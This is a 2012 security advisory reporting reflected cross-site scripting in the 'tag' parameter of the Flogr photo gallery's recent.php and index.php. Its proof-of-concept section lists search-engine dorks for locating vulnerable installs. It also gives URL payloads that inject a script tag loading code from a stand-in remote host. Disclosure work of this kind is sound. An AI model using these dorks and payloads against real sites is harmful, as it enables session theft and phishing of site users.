Flogr 2.5.6 / 2.3 Cross Site Scripting

`Title:  
======  
Flogr v2.5.6 & v2.3 - Cross Site Script Vulnerabilities  
  
  
Date:  
=====  
2012-07-11  
  
  
References:  
===========  
http://www.vulnerability-lab.com/get_content.php?id=656  
  
  
VL-ID:  
=====  
656  
  
  
Common Vulnerability Scoring System:  
====================================  
2  
  
  
Introduction:  
=============  
Flogr is a flexible script that displays your flickr photos in a customizable photo gallery you host on your website.   
If you use flickr but want to have a different look and feel for your photo gallery you may like flogr.  
  
Customizable photoblog interface for your flickr photos  
Display all flickr photos, only photos with certain tags or only certain photosets  
Displays photo details, EXIF data, tags, geo location, and photo comments  
Thumbnail viewer displays photos by date taken, photoset, and tag  
Embedded Slimbox photo slideshow  
Map view of your geo tagged photos  
Flickr tag cloud page  
RSS 2.0 support   
  
(Copy of the Vendor Homepage: https://code.google.com/p/flogr/ )  
  
  
Abstract:  
=========  
The Laboratory Researcher (Nafsh) Ehram Shahmohamadi (sec-lab.ir) discovered mutliple non persistent Cross Site Scripting   
Vulnerabilities in the Flogr v2.5.6 & v2.3 photo gallery CMS.  
  
  
Report-Timeline:  
================  
2012-07-11: Public or Non-Public Disclosure  
  
  
Status:  
========  
Published  
  
  
Exploitation-Technique:  
=======================  
Remote  
  
  
Severity:  
=========  
Medium  
  
  
Details:  
========  
Multiple non persistent cross site scripting vulnerabilities are detected in the Flogr v2.5.6 & v2.3 photo gallery CMS.  
The vulnerability allows remote attackers to hijack website customer, moderator or admin sessions with high required   
user inter action or local low privileged user account. The vulnerabilities are located in the recent.php & index.php   
with the bound vulnerable tag parameter. Successful exploitation can result in account steal, phishing & client-side   
content request manipulation.  
  
  
Vulnerable Module(s):  
[+] Recent Listing  
[+] Index Listing  
  
Vulnerable File(s):  
[+] Recent.php  
[+] Index.php  
  
Vulnerable Parameter(s):  
[+] Tag  
  
  
Proof of Concept:  
=================  
Dork(s):   
inurl:"tag=" "powered by flogr v2.3"  
inurl:"tag=" "powered by flogr v2.5.6"  
inurl:"tag=" "powered by flogr v1.7"   
  
PoC:  
http://[TARGET]/recent.php?tag=[CROSS SITE SCRIPTING]  
http://[TARGET]/index.php?tag=[CROSS SITE SCRIPTING]  
  
Reference(s):  
xxx.com/recent.php?tag=%22%3E%3Cscript%20src%3d//xxx.com/s%3E%3C/script%3E  
xxx.com/bigpictureproject/index.php?tag=<script src%3d//xxx.com/s></script>  
xxx.com/flogr/recent.php?tag=<script src%3d//xxx.com/s></script>  
xxx.com/recent.php?tag=%22%3E%3Cscript%20src%3d//xxx.com/s%3E%3C/script%3E  
  
  
Risk:  
=====  
The security risk of the client side cross site scripting vulnerabilities are estimated as low(+)|(-)medium.  
  
  
Credits:  
========  
Nafsh - Ehram Shahmohamadi - ([email protected]) [www.sec-lab.ir] - TEAM K0242  
  
  
Disclaimer:  
===========  
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,   
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-  
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--   
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`